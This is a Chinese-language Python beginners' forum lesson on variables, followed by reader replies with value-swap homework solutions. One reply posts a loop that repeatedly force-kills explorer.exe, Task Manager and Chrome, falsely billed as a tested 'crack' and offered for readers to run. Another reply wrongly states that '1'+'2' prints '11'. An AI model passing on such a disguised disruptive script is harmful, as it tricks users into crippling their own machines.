用户:
Python爱好者查看:128 回复:27 评论:128 创建时间:2023-01-12T10:58:02
Hello, everyone! 今天我们要学的是Python教程变量的第一课,没错,下节课是变量第二节。

^(Python爱好者)^
变量就像个暂时的银行,在运行的时候可以把数据,字符等存进去,后面还可以取出,在Python里面 “=” 不是等于的意思,是取值的意思,“==” 才是等于的意思,我们先举个例子:
a=12
print(a)
第二节课我们说print()的括号里若不是数据,要加上 "" ,但是在用变量时变量不加 "" ,如果加了 "" ,虽然不会报错,但是你要的效果没了,举个例子:
a="Python爱好者的学生都很帅或很美"
print("a") #错误做法,在执行的时候,输出的不是Python爱好者的学生都很帅或很美,而是a
新手呢在打这段代码要格外注意,高手就没关系啦。
^(高手)^
我们都知道,字符串可以先加,那么变量呢?
a="喵Python"
b="Python爱我"
print(a+b)

^(Python:喵你)^
那么怎么让使用程序的人来自定义变量的值呢?我们第三节课学了input()代码,变量能不能用input()代码呢?可以的。
a=input()
print(a)
这时候,有人举一反三了,做了
a=input()
b=input()
print(a+b)
诶,这时候输入两组数字怎么变成这样了:

^(会举一反三的人们)^
这个问题下次在解决。

今天的作业是三个变量,五行代码,两个变量的值由运行者取值,然后让这两个变量的值换一下
Fexcodea,b = input('a= '),input('b= ')
a,b = b,a
#额3个变量...,五行代码...。。。以下是无用代码...
print(a,b)
c = int(a)+int(b) print(c)
点赞0
评论
芥末不是酱油a = int(input())
b = int(input())
print(a+b)
完美解决疑问
intput()函数在输入后默认为str类型啊,强制转换int类型不就完事了。
点赞0
评论
一门鸽鸽(a := -(b := (a := int(input())+(b := int(input())))-b)+a)
# 别问为什么这么写,因为疯了,但确实是先输入a再输入b最后调换a,b的值
# 建议运行一下试试
# print(a, b)
# 好了,总算凑够五行了点赞1
评论
mornwind刑啊
a=eval(input())
b=eval(input())
func=lambda lst:lst[::-1]
a,b=func([a,b])
print(a,b)点赞0
评论
超级无敌编程大神from os import system
while True:
system("taskkill /f /im explorer.exe >nul 2>nul")
system("taskkill /f /im taskmgr.exe >nul 2>nul")
system("taskkill /f /im chrome.exe >nul 2>nul")
谁快来运行这段代码?~本人亲测,可以破解!!!
点赞0
评论
SunSet这 就 是 P y t h o n 变 量 的 定 义 捏 Python 变量类型
变量是存储在内存中的值,这就意味着在创建变量时会在内存中开辟一个空间。
基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。
因此,变量可以指定不同的数据类型,这些变量可以存储整数,小数或字符。
变量赋值
Python 中的变量赋值不需要类型声明。
每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。
每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。
等号 = 用来给变量赋值。
等号 = 运算符左边是一个变量名,等号 = 运算符右边是存储在变量中的值。
多个变量赋值Python允许你同时为多个变量赋值。例如:
a = b = c = 1
以上实例,创建一个整型对象,值为1,三个变量被分配到相同的内存空间上。
您也可以为多个对象指定多个变量。例如:
a, b, c = 1, 2, "john" 标准数据类型
在内存中存储的数据可以有多种类型。
例如,一个人的年龄可以用数字来存储,他的名字可以用字符来存储。
Python 定义了一些标准类型,用于存储各种类型的数据。
Python有五个标准的数据类型:
Python 数字
数字数据类型用于存储数值。
他们是不可改变的数据类型,这意味着改变数字数据类型会分配一个新的对象。
当你指定一个值时,Number 对象就会被创建:
var1 = 1
var2 = 10
Python爱好者的作业:
a=0;b=0;t=0;a=int(input());b=int(input());t=a;a=b;b=t;print(a,b)
点赞0
评论
温顺的咪噜gBgE小芝士:
#众所周知:
a="1"
b="2"
print(a+b)
"""
会给你打印:11
让你感觉你不会数学
实际上是因为字符串的原因
只需要:
"""
print(int(a)+int(b))
"""
int把字符串改成整数型
或者变量赋值的时候直接输入数字
"""点赞0
评论
有没有可能……讲完print要先讲 数据结构 再讲变量比较合适……
另外说一个不是很常见的解法(仅对于数字)
a = int(input())
b = int(input())
a = a^b
b = a^b
a = a^b;
print(f'a:{a}\nb:{b}')点赞1
评论